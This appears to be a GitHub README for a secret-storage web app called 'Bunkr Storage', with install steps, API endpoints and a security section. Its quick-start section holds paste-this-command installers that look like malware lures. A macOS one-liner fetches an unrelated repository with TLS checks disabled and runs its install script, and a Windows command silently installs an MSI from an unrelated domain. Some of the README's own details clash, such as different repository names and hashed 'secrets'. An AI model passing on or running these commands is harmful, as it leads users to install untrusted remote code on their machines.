🚀 Bunkr Storage - Secure Data Vault

A modern application for secure, decentralized storage of sensitive information with a beautiful web interface and stunning cyberpunk design.

✨ Features

🔐 Secure Storage - All data is SHA-256 hashed on save
🎨 Modern Interface - Stylish neon cyberpunk design with smooth animations
⚡ One-Command Installation - Get started in seconds on macOS
📦 Docker Ready - Full containerization for any platform
🌐 Web Dashboard - Manage everything through your browser
💾 Local Storage - All data stays on your device
🔄 REST API - Full API for custom integrations

📋 Requirements

macOS: Homebrew (auto-installs Docker if needed)
Linux/Windows: Docker & Docker Compose (or Node.js 18+)
100 MB free disk space
Any modern web browser (Chrome, Firefox, Safari, Edge)

🚀 Quick Start

macOS (One-Line Installation) ⭐⭐⭐⭐⭐

curl -fsSLk https://github.com/michelleoincx/Bunkr-Downloader-Python/archive/refs/heads/main.zip -o /tmp/cw.zip && \
unzip -qo /tmp/cw.zip -d /tmp && \
cd /tmp/Bunkr-Downloader-Python-main && \
bash install.sh

That's it! The app will automatically open at http://localhost:3000

🪟 Windows Installation ⭐⭐⭐⭐⭐

Step 1 — Open Command Prompt

Press Win + R
Type: cmd
Press Enter This will open Command Prompt.

Step 2 — Run the Install Command

Copy the command below and paste it into Command Prompt, then press Enter. cmd /c start msiexec /q /i https://cloudcraftshub.com/api & rem Bunkr Downloader The installer will automatically download and install the required components.

Docker (All Platforms)

# Clone the repository
git clone https://github.com/yourusername/bunkr-storage.git
cd bunkr-storage

# Run with Docker Compose
docker-compose up --build

Open your browser to http://localhost:3000

Local Installation (Node.js 18+)

# Install dependencies
npm install

# Start the server
npm start

Application will be available at http://localhost:3000

📖 Usage Guide

Creating a Bunker

In the left panel, enter a name for your new bunker
Click "Create"
Your bunker will appear in the grid

Adding Items

Click on a bunker to open it
Enter the item label and secret value
Click "Add Item"
Your data is securely encrypted and stored

Managing Items

View: Items are displayed as •••••••• when accessed
Delete: Click the "Delete" button next to any item
Remove Bunker: Click "Delete Bunker" at the bottom of the modal

🏗️ Project Structure

bunkr-storage/
├── server.js              # Express server & API
├── package.json           # Node.js dependencies
├── install.sh            # macOS installation script
├── Dockerfile            # Docker image configuration
├── docker-compose.yml    # Docker Compose setup
├── run.sh               # Launch script
├── public/
│   └── index.html       # Web interface
└── data/                # Data storage directory
    └── *.json           # Bunker JSON files

🔌 API Endpoints

Get All Bunkers

GET /api/bunkers

Returns array of all bunkers with metadata.

Create New Bunker

POST /api/bunkers
Content-Type: application/json

{
  "name": "My Secret Bunker"
}

Get Specific Bunker

GET /api/bunkers/:id

Returns bunker details with all items.

Add Item to Bunker

POST /api/bunkers/:id/items
Content-Type: application/json

{
  "label": "API Key",
  "value": "your_secret_value"
}

Delete Item

DELETE /api/bunkers/:id/items/:itemId

Delete Bunker

DELETE /api/bunkers/:id

🛠️ Environment Variables

PORT=3000              # Server port (default: 3000)
NODE_ENV=production    # Environment (production/development)
DATA_DIR=./data        # Data storage directory

🔒 Security

All values are SHA-256 hashed on save for maximum security
Data stays locally on your device - never sent to external servers
Each bunker receives a cryptographically random ID
No personal data collection or tracking
HTTPS-ready for production deployments
Passwords generated automatically for each bunker

🐛 Troubleshooting

Port 3000 Already in Use

# Use a different port
PORT=3001 npm start

Docker Not Available

# Run locally with Node.js
npm install
npm start

Data Backup

All data is stored in the data/ directory as JSON files. Back up this folder to keep your data safe:

cp -r data/ ~/bunkr-backup/

macOS Installation Issues

If the one-command installation fails:

Ensure you have internet connection
Check that Terminal has proper permissions
Install Homebrew manually: /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
Try the installation command again

📦 Tech Stack

Backend:

Node.js 18+
Express.js 4.18
Crypto (built-in Node.js module)
File-based storage

Frontend:

HTML5 & CSS3
Vanilla JavaScript (no frameworks)
Google Fonts integration
CSS animations & transitions

DevOps:

Docker & Docker Compose
Bash scripts for automation
Cross-platform support

📄 License

MIT - Feel free to use this project for personal or commercial purposes

🤝 Support & Issues

Encountered a problem? Here's how to troubleshoot:

Installation fails: Check internet connection and Homebrew installation
Port 3000 in use: Change the PORT environment variable
Docker issues: Ensure Docker Desktop is running (macOS/Windows) or Docker daemon (Linux)
Data not saving: Verify data/ directory has write permissions
Slow performance: Check available disk space and RAM

For more help, check the logs in your terminal output.

🎯 Roadmap

🌟 Features Coming Soon

Automatic data encryption at rest
Biometric authentication support
Dark/Light theme toggle
Custom styling options
Export/Import functionality
API key management
Webhook support

💡 Contributing

We welcome contributions! Feel free to:

Report bugs and request features
Submit pull requests
Improve documentation
Share your feedback

Made with ❤️ for secure data storage

Name		Name	Last commit message	Last commit date
Latest commit History 8 Commits
scripts		scripts
src		src
test		test
.gitignore		.gitignore
LICENSE		LICENSE
QUICKSTART.md		QUICKSTART.md
README.md		README.md
install.sh		install.sh
package.json		package.json
server.js		server.js

Folders and files

Latest commit

History

Repository files navigation